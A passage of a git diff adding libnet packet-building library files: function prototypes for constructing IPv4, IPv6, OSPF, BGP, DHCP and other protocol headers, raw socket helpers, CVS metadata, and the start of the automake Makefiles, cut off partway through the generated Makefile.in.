+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, +u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst, +libnet_t *l); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh, +u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag, +u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype, +u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst, +libnet_t *l); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost, +u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index, +u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nxt_hdr, int8_t *auth, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipsec_ah(u_int8_t nxt_hdr, u_int8_t len, u_int16_t res, +u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags, +u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr, +u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, +u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop, +u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num, +u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength, +u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type, +u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id, +u_int16_t port_id, u_int16_t message_age, u_int16_t max_age, +u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src, +u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, +u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, +libnet_t *l); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id, +u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int, +u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos, +u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode, +u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int, +u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac, +u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac, +u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int, +u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id, +u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_hello(u_int32_t netmask, u_int16_t interval, u_int8_t opts, +u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr, +u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_dbd(u_int16_t dgram_len, u_int8_t opts, u_int8_t type, +u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsr(u_int type, u_int lsid, u_int32_t advrtr, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsu(u_int num, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa(u_int16_t age, u_int8_t opts, u_int8_t type, +u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_rtr(u_int16_t flags, u_int16_t num, u_int id, +u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_net(u_int32_t nmask, u_int rtrid, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_sum(u_int32_t nmask, u_int metric, u_int tos, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_as(u_int32_t nmask, u_int metric, u_int32_t fwdaddr, +u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen, +u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, +u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, +u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen, +u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, +u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, +u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +inline u_int32_t libnet_gre_length(u_int16_t fv); + +#define libnet_egre_length libnet_gre_length + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t checksum, +u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +#define libnet_build_egre libnet_build_gre + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length, +u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE], +u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time, +u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt, +u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len, +u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_link(u_int8_t *dst, u_int16_t type, libnet_t *l); + +int +libnet_write(libnet_t *l); + +int +libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size); + +int +libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size); + +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size); + +#if ((__WIN32__) && !(__CYGWIN__)) +SOCKET +libnet_open_raw4(libnet_t *l); +#else +int +libnet_open_raw4(libnet_t *l); +#endif + +int +libnet_close_raw4(libnet_t *l); + +int +libnet_open_raw6(libnet_t *l); + +int +libnet_close_raw6(libnet_t *l); + +int +libnet_select_device(libnet_t *l); + +int +libnet_open_link(libnet_t *l); + +int +libnet_close_link(libnet_t *l); + +u_int32_t +libnet_get_ipaddr4(libnet_t *l); + +struct libnet_in6_addr +libnet_get_ipaddr6(libnet_t *l); + +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l); + +int +libnet_do_checksum(libnet_t *l, u_int8_t *packet, int protocol, int len); + +u_int32_t +libnet_compute_crc(u_int8_t *buf, u_int32_t len); + +u_int16_t +libnet_ip_check(u_int16_t *addr, int len); + +int +libnet_in_cksum(u_int16_t *addr, int len); + + +/* + * libnet_pblock_probe + * + * If ptag is 0, function will create a pblock for the protocol unit type, + * append it to the list and return a pointer to it. If ptag is not 0, + * function will search the pblock list for the specified protocol block + * and return a pointer to it. + */ +libnet_pblock_t * +libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n, +u_int8_t type); + +/* + * libnet_pblock_new + * + * Function creates the pblock list if l->protocol_blocks == NULL or appends + * an entry to the doubly linked list. + */ +libnet_pblock_t * +libnet_pblock_new(libnet_t *l, u_int32_t size); + + +/* + * libnet_pblock_swap + * + * Function swaps two pblocks in memory. + */ +int +libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2); + + +/* + * libnet_pblock_insert_before + * + * Function inserts a pblock into the doubly linked list. + */ +int +libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1, +libnet_ptag_t ptag2); + +/* + * libnet_pblock_delete + * + * Function removes a pblock from context + */ +void +libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p); + +/* + * libnet_pblock_update + * + * Function updates the pblock meta-inforation. Internally it updates the + * ptag with a monotonically increasing variable kept in l. This way each + * pblock has a succesively increasing ptag identifier. + */ +libnet_ptag_t +libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h, +u_int8_t type); + + +/* + * libnet_pblock_find + * + * Function locates a given block by it's ptag. + */ +libnet_pblock_t * +libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag); + + +/* + * libnet_pblock_append + * + * Function copies protocol block data over. + */ +int +libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf, +u_int32_t len); + + +/* + * libnet_pblock_setflags + * + * Function sets pblock flags. + */ +void +libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags); + + +/* + * libnet_pblock_p2p + * + * Function returns the protocol number for the protocol block type. If + * the type is unknown, the function defaults to returning IPPROTO_IP. + */ +int +libnet_pblock_p2p(u_int8_t type); + + +/* + * libnet_pblock_coalesce + * + * Function assembles the packet for subsequent writing. Function makes two + * passes through the pblock list: + * 1st & 2nd) determine total size of the packet for contiguous malloc + * and copy over packet chunks + * 3rd run) run through the original list and see which protocol blocks had + * the checksum flag set (checksums usually need to be done over + * an assembled packet so it's easier to do it here) + */ +int +libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size); + + +/* + * __libnet_dump_context + * + * Function returns the contents of the libnet file context. Not meant for + * the applications programer. + */ +void +__libnet_dump_context(libnet_t *l); + +/* + * __libnet_dump_pblock + * + * Function returns the contents of each pblock in a given context. Not meant + * for the applications programer. + */ +void +__libnet_dump_pblock(libnet_t *l); + +/* + * __libnet_dump_pblock_type + * + * Function returns a canonical string referring to the pblock type. + */ +int8_t * +__libnet_dump_pblock_type(u_int8_t type); + +/* + * __libnet_hex_dump + * + * Function dumps the contents of the supplied buffer to the supplied + * stream pointer. Very useful for debugging. Will swap endianness based + * disposition of mode variable. Use requires unwrapping the libnet file + * context structure so it's hidden down here. If you find it, consider + * yourself a trepid adventurer. + */ +void +__libnet_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream); + + +/* + * libnet_hex_aton + * + * hexidecimal strings of the format "##:##:##:## ... :##:##" to a uint8_t. + * + */ +u_int8_t * +libnet_hex_aton(int8_t *s, int *len); + +/* + * libnet_adv_cull_packet + * + * advanced interface, culls the packet from inside libnet, wraps + * libnet_pblock_coalesce(). + * + */ +int +libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s); + +/* + * libnet_adv_cull_header + * + * advanced interface, culls the header from referenced ptag from inside + * libnet. + * + */ +int +libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header, +u_int32_t *header_s); + +/* + * libnet_adv_write_link + * + * advanced interface, writes a prebuilt frame to the wire + * + */ +int +libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s); + +/* + * libnet_cq_add + * + * Function adds a context to the libnet context queue. + */ +int +libnet_cq_add(libnet_t *l, char *label); + +/* + * libnet_cq_remove + * + * Function removes a context from the libnet context queue. + * + */ +libnet_t * +libnet_cq_remove(libnet_t *l); + +/* + * libnet_cq_remove_by_label + * + * Function removes a libnet context from the queue, indexed by it's + * canonical label. + */ +libnet_t * +libnet_cq_remove_by_label(char *label); + +/* + * libnet_cq_getlabel + * + * Function returns the label (if any) associated with the context. + */ +int8_t * +libnet_cq_getlabel(libnet_t *l); + +/* + * libnet_cq_find_by_label + * + * Function locates a libnet context from the queue, indexed by it's + * canonical label. + * + */ +libnet_t * +libnet_cq_find_by_label(char *label); + +/* + * libnet_cq_destroy + * + * Function destroys the entire context queue, calling libnet_destory() on + * each member context. + */ +void libnet_cq_destroy(); + +/* + * libnet_cq_head + * + * Function intiailizes the interator interface and sets a write lock on + * the context queue. + */ +libnet_t * +libnet_cq_head(); + +/* + * libnet_cq_head + * + * Function returns 1 if at the end of the context queue, 0 otherwise. + */ +int +libnet_cq_last(); + +/* + * libnet_cq_head + * + * Function returns the next context from the context queue. + */ +libnet_t * +libnet_cq_next(); + +/* + * libnet_cq_size + * + * Function returns the number of entries in the context queue. + */ +u_int32_t +libnet_cq_size(); + +/* + * libnet_check_iface + * + * By testing if we can retrieve the FLAGS of an iface + * we can know if it exists or not and if it is up. + */ +int +libnet_check_iface(libnet_t *l); + + +#if defined(__WIN32__) +BYTE * +libnet_win32_get_remote_mac(libnet_t *l, DWORD IP); +int +libnet_close_link_interface(libnet_t *l); +BYTE * +libnet_win32_read_arp_table(DWORD IP); +#endif +#endif /* __LIBNET_FUNCTIONS_H */ + +/* EOF */ diff --git a/libnet/include/libnet/CVS/Entries b/libnet/include/libnet/CVS/Entries new file mode 100644 index 0000000..456f099 --- /dev/null +++ b/libnet/include/libnet/CVS/Entries @@ -0,0 +1,9 @@ +/Makefile.am/1.2/Sat Oct 18 17:20:03 2003// +/libnet-types.h/1.3/Sat Jan 3 20:31:00 2004// +/libnet-asn1.h/1.3/Sat Jan 17 07:51:19 2004// +/libnet-macros.h/1.7/Tue Apr 13 17:32:28 2004// +/Makefile.in/1.15/Tue Nov 9 07:05:07 2004// +/libnet-functions.h/1.43/Tue Nov 9 07:05:07 2004// +/libnet-headers.h/1.15/Tue Nov 9 07:05:07 2004// +/libnet-structures.h/1.19/Tue Nov 9 07:05:07 2004// +D diff --git a/libnet/include/libnet/CVS/Repository b/libnet/include/libnet/CVS/Repository new file mode 100644 index 0000000..928f449 --- /dev/null +++ b/libnet/include/libnet/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/include/libnet diff --git a/libnet/include/libnet/CVS/Root b/libnet/include/libnet/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/include/libnet/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/include/libnet/Makefile.am b/libnet/include/libnet/Makefile.am new file mode 100644 index 0000000..ef43b53 --- /dev/null +++ b/libnet/include/libnet/Makefile.am @@ -0,0 +1,12 @@ +# $Id: Makefile.am,v 1.2 2003/10/18 17:20:03 mike Exp $ + +include $(top_srcdir)/Makefile.am.common + +libnetincludedir = $(includedir)/libnet + +libnetinclude_HEADERS = libnet-asn1.h \ + libnet-functions.h \ + libnet-headers.h \ + libnet-macros.h \ + libnet-structures.h \ + libnet-types.h diff --git a/libnet/include/libnet/Makefile.in b/libnet/include/libnet/Makefile.in new file mode 100644 index 0000000..5845bcc --- /dev/null +++ b/libnet/include/libnet/Makefile.in @@ -0,0 +1,424 @@ +# Makefile.in generated by automake 1.9.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, +# 2003, 2004 Free Software Foundation, Inc. +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +# $Id: Makefile.am,v 1.2 2003/10/18 17:20:03 mike Exp $ + +# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# + +srcdir = @srcdir@ +top_srcdir = @top_srcdir@ +VPATH = @srcdir@ +pkgdatadir = $(datadir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +top_builddir = ../.. +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" 